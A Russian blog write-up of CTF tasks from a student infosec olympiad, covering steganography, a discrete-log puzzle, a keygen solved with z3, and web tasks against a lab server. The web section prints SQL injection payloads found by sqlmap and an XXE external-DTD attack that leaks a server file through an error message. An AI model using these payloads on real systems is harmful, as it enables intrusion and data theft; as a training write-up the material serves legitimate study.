Главная » Хабрахабр » CTF от Минобрнауки: разбор задач олимпиады по ИБ

CTF от Минобрнауки: разбор задач олимпиады по ИБ

Каждый год МИФИ проводит студенческую олимпиаду по ИБ. Это очень необычное мероприятие, сильно отличающееся от привычных task-based CTF. Забавно, что олимпиада носит официальный статус и даже признана Минобром, но о ней мало кто знает. При этом ее победители и призеры имеют возможность поступить в МИФИ без экзаменов.

Они длятся по 3 часа в один день с небольшим перерывом. Теоретический тур похож на экзамен: первое задание состоит из 5 вопросов на криптографию и криптоанализ, где требуется дать развернутый ответ. Второе задание — большой тест по безопасности информационных технологий. Пробный вариант теоретического тура представлен по ссылке. Если вы горите желанием размять мозги и протестить ваши знания в области инфобеза, читайте наш разбор пяти более интересных задач практического тура олимпиады.
Олимпиада разделена на два тура: теоретический и практический.

При выполнении этих задач можно пользоваться собственным компьютером, но без доступа к интернету и внешним носителям информации. Практический тур заключается в решении 10 относительно несложных задач, связанных с программированием, обратной разработкой ПО, эксплуатацией веб-уязвимостей, криптографией и стеганографией.

Участие в этой олимпиаде — интересный опыт для любого студента-безопасника, позволяющий проверить как теоретические, так и практические знания.

Задача H, 2018 год

Условие: Придя на место встречи в парк, вы никого не увидели, однако гуляя по одной из аллей, вы нашли заблокированный телефон со странной заставкой. Найдите пароль, зашифрованный в картинке-заставке и отправьте его на проверку через форму ниже.

Картинка

image

Задачи на поиск стегоконтейнеров в изображениях обычно решаются в три этапа, от простого к сложному:

  1. Проверка метаинформации: EXIF для jpeg, IDF для png
  2. Проверка структуры: поиск ascii-строк,  поиск добавленных в конец изображения других файлов
  3. Анализ самого изображения: проверка соответствия заголовка данным, изменение color map, перебор LSB\MSB

Для начала проверим тип файла:

$ file H.jpg
H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3

Получаем метаинформацию из EXIF с помощью утилиты exiftool и находим первую часть флага в поле Creator:

$ exiftool H.jpg | grep Creator
Creator : part1 - 2b33f7c863ef8b

Продолжаем анализировать файл с помощью утилиты binwalk:

$ binwalk H.jpg | grep -v 'Unix path'
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.02
46 0x2E TIFF image data, big-endian, offset of first image directory: 8
628320 0x99660 Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt
628471 0x996F7 End of Zip archive
628493 0x9970D PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced
628584 0x99768 Zlib compressed data, compressed

Видим, что по смещению 0x99660 лежит Zip-архив с файлом part2.txt, а по смещению 0x9970D — png-изображение.

С помощью binwalk мы можем получить эти файлы и даже автоматически распаковать zip-архив.

$ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg
$ cd _H.jpg.extracted
$ ls
99660.zip 996F7.zip 9970D.png 99768 99768.zlib part2.txt
$ cat part2.txt part 2 - 6b9efd1b89

9970D.png:

image

Собираем все части флага вместе — задание решено.

Задача A, 2016 год

Условие: Найдите значение переменной $flag (32 символа хекса) в следующем php-скрипте, если известно, что результат работы скрипта равен 10899914993644372325321260353822561193.

<?php $n = "35948145881546650497425055363061529726"; $flag = "... 32 hex chars ..."; // find the flag $x = bchexdec($flag); echo bcpowmod(1511, $x, $n); function bchexdec($dec) return $res; }
?>

Так как функция bcpowmod производит возведение числа 1511 в неизвестную степень в кольце вычетов 35948145881546650497425055363061529726, флагом является дискретный логарифм 10899914993644372325321260353822561193 по основанию 1511.

Писать скрипт для решения такой задачи с нуля долго, простой перебор тоже не поможет, поэтому лучше всего использовать свободную систему компьютерной алгебры Sage.

#!/usr/bin/sage
from sage.all import * R = IntegerModRing(35948145881546650497425055363061529726)
y = 10899914993644372325321260353822561193
g = 1511
x = discrete_log(R(y), R(g))
print("Flag is: " + hex(x))

Запускаем Sage:

$ sage solve.py
Flag is: 1203ca52964b15cd12887d920d229

Подставляем флаг в скрипт и убеждаемся в правильности ответа:

% php A.php
10899914993644372325321260353822561193

Задача C, 2016 год

Условие: Сгенерируйте серийный номер для своего логина и отправьте ответ на проверку в формате логин: серийный номер без пробелов.

Получаем информацию о бинарнике с помощью ExeinfoPe:

image

Следуем совету и распаковываем файл:

$ upx -d auth_x32.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- 1427267 <- 807235 56.56% win32/pe auth_x32.exe Unpacked 1 file.

Определим использованный компилятор:

image

Декомпилируем функцию main и немного дорабатываем вывод напильником:

image

Алгоритм работы программы таков:

  1. Через аргументы командной строки на вход подаётся логин пользователя и 32-символьный ключ в hex-формате.
  2. Ключ из hex преобразуется в бинарный вид и побайтово ксорится с логином.
  3. Затем каждый из элементов получившейся последовательности преобразуется по формуле:

    key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k]

  4. Результат преобразования с помощью функции memcmp сравнивается с байтовой строкой correct_key. Её полное значение — 1136CB46FFF370685D41C348CCAD6EC7

Составим систему из 16 уравнений и решим её с помощью SMT-решателя z3:

#!/usr/bin/env python
from z3 import *
import binascii # Вводим константы
hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7] username = "hummelchen"
ulen = len(username) # Вводим неизвестные
key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)] s = Solver() # Задаем систему уравнений
for k in range(0, 16): s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k]) # Проверяем, есть ли решение
if s.check() != 'sat': print('Cannot solve this system') return model = s.model()
serial = "" # Выводим серийный номер для указанного логина for i in range(0, 16): h = model.evaluate(key[i]).as_long() serial += chr(h ^ ord(username[i % ulen])) print(binascii.hexlify(serial))

Проверяем решение:

$ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169
Correct

Задачи D и E, 2016 год

Условия:
D: Ответ на задачу хранится в одной из баз данных забытого сервера. Найдите уязвимость на сайте и прочитайте с ее помощью ответ.
E: Ответ на задачу хранится в одном из файлов на сервере. Найдите уязвимость на сайте и прочитайте с ее помощью файл.

Веб-интерфейс забытого сервера выглядит довольно аскетично: просто текстовая форма авторизации и заголовок «Online bank system».

image

Брутфорсом файлов и директорий на сервере находим защищенный паролем phpmyadmin и robots.txt с подсказкой:

$ python3 ./dirsearch.py -u http://192.168.56.11/ --exclude-status=403 -e txt
Target: http://192.168.56.11/ [19:52:31] Starting: [19:52:37] 200 - 453B - /index.php [19:52:37] 200 - 453B - /index.php/login/
[19:52:37] 301 - 318B - /javascript -> http://192.168.56.11/javascript/
[19:52:38] 301 - 318B - /phpmyadmin -> http://192.168.56.11/phpmyadmin/ [19:52:39] 200 - 8KB - /phpmyadmin/ [19:52:39] 200 - 55B - /robots.txt Task Completed
$ curl http://192.168.56.11/robots.txt I think js filter is 100% safe for checking user data

Изучаем исходный код страницы авторизации и видим подозрительный скрипт jquery.js

function login()
{ var user = $("#user").val(); var pass = $("#pass").val(); for(i=0;i<user.length;i++) if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a) { resp("Invalid user format"); return false; } for(i=0;i<pass.length;i++) if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a) { resp("Invalid pass format"); return false; } var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>"; $.post("/ajax.php", {"auth": auth}, resp);
} function resp(data)
{ $("#info").html('<font color="red">'+data+'</font>');
}

Перехватываем POST-запрос на авторизацию с помощью Burp Suite и сразу же проверяем возможность SQL-инъекции:

image

Чтобы автоматизировать процесс эксплуатации уязвимости сохраняем текст запроса в файл, помечаем место инъекции звездочкой и загружаем результат в sqlmap с помощью опции -r имя_файла:

auth=<auth><user>admin</user><pass>*</pass></auth>

Найденные уязвимости

Parameter: #1* ((custom) POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT) Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth> Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth> Type: AND/OR time-based blind Title: MySQL <= 5.0.11 AND time-based blind (heavy query) Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth> Type: UNION query Title: MySQL UNION query (NULL) - 1 column Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth>

Определяем доступные нам базы данных:

available databases [2]:
[*] information_schema
[*] site

Получаем флаг для задачи D:

image

Попробуем применить атаку XML eXternal Entity. Так как текущий пользователь не является администратором БД, мы не можем читать файлы на хосте и поэтому придётся использовать другой вектор атаки.

Мы можем заставить парсер XML прочесть интересующий нас файл и использовать содержимое этого файла как URI, чтобы оно вывелось в сообщении об ошибке.

XML-парсер на сервере загрузит его содержимое перед обработкой основной полезной нагрузки, что и позволит использовать значение %payload как URI.
xxe.dtd: Для этого нужно создать специальный DTD-файл (Data Type Definition; определение типа данных).

<!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>">
%err;

Теперь поднимем веб-сервер с помощью python, файл  xxe.dtd должен находиться в его корневой директории.

$ python -m SimpleHTTPServer 1234

Отправим серверу запрос такого вида:

image

Получаем флаг для задачи E в строке с пользователем list.

S. P. Все задания практического тура олимпиады за этот и прошлые годы доступны по ссылкам:
Практический тур ВСО по ИБ 2016
Практический тур ВСО по ИБ 2017
Практический тур ВСО по ИБ 2018

Автор: Ярослав Шмелев, преподаватель курса HackerU "Специалист по информационной безопасности".

Большинство преподавателей израильской высшей школы IT и безопасности HackerU участвуют и занимают призовые места в соревнованиях и конкурсах по пентесту, веб-разработке, блокчейну.  Чтобы стать победителем, недостаточно иметь только высокую мотивацию. Нужны реально полезные знания и навыки, а их получают только у лучших практиков. Если сомневаешься в будущем, хочешь научиться востребованной профессии, спроси нас. Обещаем избавить от всего лишнего и помочь тебе найти себя в мире IT.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

[Подборка] Разработка, дизайн и продвижение сайтов: 17 полезных материалов

Создать качественный сайт, который привлечет пользователей продуманным интерфейсом и красивым дизайном – непростая задача, с которой не справляется огромное количество компаний. Я собрала полезные ссылки, которые помогут пройти этот путь и не совершить необязательные ошибки. Выбор: самостоятельная разработка, студии, фрилансеры ...

[Из песочницы] «Референтная модель BIAN» для банковской индустрии или как перестать изобретать велосипед

Так как я заметил, что ты, Цезарь, уже много построил и продолжаешь строительство, я разработал определенные правила, чтобы ты сам смог оценить качество как уже существующих, так и будущих зданий. Витрувий, архитектор времен Римской империи Успешность и стабильность развития любого ...